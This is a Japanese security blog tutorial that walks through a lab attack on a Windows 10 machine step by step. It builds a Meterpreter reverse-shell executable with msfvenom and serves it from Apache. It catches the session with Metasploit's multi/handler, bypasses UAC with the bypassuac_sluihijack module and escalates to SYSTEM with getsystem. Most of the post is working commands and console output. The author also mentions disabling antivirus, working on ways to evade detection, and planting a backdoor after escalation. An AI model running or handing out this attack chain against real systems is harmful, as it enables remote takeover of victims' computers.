Security Record

セキュリティ全般に関する情報を発信しています

リバースシェルを用いてWindows10をリモートから権限昇格させる方法

リバースシェルのペイロードの用意

Kali Linux側でmsfvenomコマンドを実行して、リバースシェル(Reverse Shell)のペイロードを作成します。

┌──(root㉿kali)-[/home/kali]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.28.5 -f exe -o /home/kali/Desktop/getsystem.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: /home/kali/Desktop/getsystem.exe

msfvenomコマンドを実行したことにより、 Kali Linuxのデスクトップ上にgetsystem.exeが作成されます。

ペイロードを外部からアクセス出来るディレクトリに移動する

ペイロードを外部からアクセス出来るディレクトリに移動します。 Apacheのデフォルトのドキュメントルートは/var/www/html/以下になるので、その下にファイルを移動させます。

┌──(root㉿kali)-[/home/kali]
└─# cp /home/kali/Desktop/getsystem.exe /var/www/html/share 

┌──(root㉿kali)-[/home/kali/Desktop]
└─# service apache2 restart  

ペイロードファイルの存在確認

標的端末のWindows10よりブラウザを開いて下記にアクセスします。

http://192.168.28.5/share

ペイロードファイルのダウンロード

先程作成したgetsystem.exeが確認出来たらダウンロードを実行します。 この際、リアルタイム保護を無効化しておかないと、ウィルス検知に引っかかりダウンロードに失敗します。 (ウィルス検知を回避する方法が現在色々と試しています)

リバースシェルを待ち受ける

Metasploitを起動する

msfconsoleコマンドでMetasploitを起動します。

┌──(root㉿kali)-[/home/kali]
└─# msfconsole 

exploitを選択してpayloadをセットする

使用するexploitを設定します。
今回はexploit/multi/handlerというexploitを設定します。

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > exploit -j -zによりリバースシェルを待ち受ける状態になります。このあと標的が実行ファイルをクリックしたらセッションが確立されることになります。

msf6 exploit(multi/handler) > set LHOST 192.168.28.5
LHOST => 192.168.28.5
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.28.5:4444 
msf6 exploit(multi/handler) > [*] Sending stage (200774 bytes) to 192.168.28.8
[*] Meterpreter session 1 opened (192.168.28.5:4444 -> 192.168.28.8:50339) at 2023-08-12 21:46:35 +0900

確立されたセッションの確認

msf6 exploit(multi/handler) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information                              Connection
  --  ----  ----                     -----------                              ----------
  1         meterpreter x64/windows  DESKTOP-SASS8UL\yusuk @ DESKTOP-SASS8UL  192.168.28.5:4444 -> 192.168.28.8:50339 (192.168.28.8)

meterpreterプロンプトを表示させる

sessions -i 1と入力することによりmeterpreterプロンプトに移ります。

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

権限昇格を試みる(失敗)

meterpreter > getuid
Server username: DESKTOP-SASS8UL\user-name
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: 1346 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)

getsystemコマンドで権限昇格を試みましたが失敗しました。
UAC機能を回避するモジュールを探します。 ※UAC機能とは以下の通りマルウェアによるユーザーの意図しない操作、または許可するつもりのない操作を不用意に実行しようとするプログラムの起動を防ぐWindowsのセキュリティ機能のようです。

ユーザーアカウント制御(UAC: User Account Control) 説明: Windowsのセキュリティ機能の1つ。「UAC(user account control)」ともいう。 管理者権限の必要な処理を実行しようとした際に、許可を求めるメッセージや、管理者パスワードの入力を求める画面を表示し、実行を許可するか確認する機能。 マルウェアによるユーザーの意図しない操作、または許可するつもりのない操作を不用意に実行しようとするプログラムの起動を防ぐ。

参考:ユーザーアカウント制御(UAC: User Account Control) support.nec-lavie.jp

UACの権限昇格ダイアログを回避するモジュールを探す

「BypassUAC」というUAC回避のモジュールを検索したら12件ヒットしました。 この中で、比較的日付が新しく、Rankがexcellentとなっているexploit/windows/local/bypassuac_sluihijack というモジュールを使用してみます。

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > search bypassuac

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   exploit/windows/local/bypassuac_windows_store_filesys  2019-08-22       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
   1   exploit/windows/local/bypassuac_windows_store_reg      2019-02-19       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
   2   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
   3   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
   4   exploit/windows/local/bypassuac_injection_winsxs       2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   5   exploit/windows/local/bypassuac_vbs                    2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
   6   exploit/windows/local/bypassuac_comhijack              1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   7   exploit/windows/local/bypassuac_eventvwr               2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   8   exploit/windows/local/bypassuac_sdclt                  2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
   9   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)
   10  exploit/windows/local/bypassuac_dotnet_profiler        2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via dot net profiler)
   11  exploit/windows/local/bypassuac_fodhelper              2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
   12  exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)


Interact with a module by name or index. For example info 12, use 12 or use exploit/windows/local/bypassuac_sluihijack

モジュールの検索結果の確認

exploit/windows/local/bypassuac_sluihijackというモジュールを使用する。

msf6 exploit(multi/handler) > use exploit exploit/windows/local/bypassuac_sluihijack
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/windows/local/bypassuac_sluihijack  2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/bypassuac_sluihijack

[*] Using exploit/windows/local/bypassuac_sluihijack
msf6 exploit(windows/local/bypassuac_sluihijack) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Windows x86
    1   Windows x64

エクスプロイトを実行するための各種設定を行う

msf6 exploit(windows/local/bypassuac_sluihijack) > set TARGET 1
TARGET => 1
msf6 exploit(windows/local/bypassuac_sluihijack) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac_sluihijack) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(windows/local/bypassuac_sluihijack) > set LHOST 192.168.28.5
LHOST => 192.168.28.5

オプションの表示

show optionsコマンドで設定状況を確認します。

msf6 exploit(windows/local/bypassuac_sluihijack) > show options

Module options (exploit/windows/local/bypassuac_sluihijack):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.28.5     yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   1   Windows x64

exploitの実行

UAC機能を回避するモジュールをセットした後で再度、exploitを実行します。

msf6 exploit(windows/local/bypassuac_sluihijack) > exploit

[*] Started HTTPS reverse handler on https://192.168.28.5:8443
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[!] UAC set to DoNotPrompt - using ShellExecute "runas" method instead
[*] Uploading jdYmObxyMcjJ.exe - 7168 bytes to the filesystem...
[*] Executing Command!
[!] https://192.168.28.5:8443 handling request from 192.168.28.8; (UUID: acfdqw0n) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.28.5:8443 handling request from 192.168.28.8; (UUID: acfdqw0n) Staging x64 payload (201820 bytes) ...
[!] https://192.168.28.5:8443 handling request from 192.168.28.8; (UUID: acfdqw0n) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 2 opened (192.168.28.5:8443 -> 192.168.28.8:50369) at 2023-08-12 21:54:32 +0900

権限を昇格させる(成功)

再度getsystemコマンドを実行してみました。

getuidで確認するとSYSTEM 権限に昇格していることが確認できます。

meterpreter > get uid
[-] Unknown command: get
meterpreter > getuid
Server username: DESKTOP-SASS8UL\user-name
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM #権限昇格に成功した
meterpreter > 

まとめ

この攻撃は前提として標的に実行ファイルをクリックして貰う必要があるので、 攻撃の条件が整うにはややハードルが高いように思います。 しかし条件さえ整えば、リモートからあっさり権限昇格ができてしまいました。

SYSTEM 権限した後、速やかにバックドアを仕掛ければ、この端末にはいつでもSYSTEM権限でログインできることになってしまいます。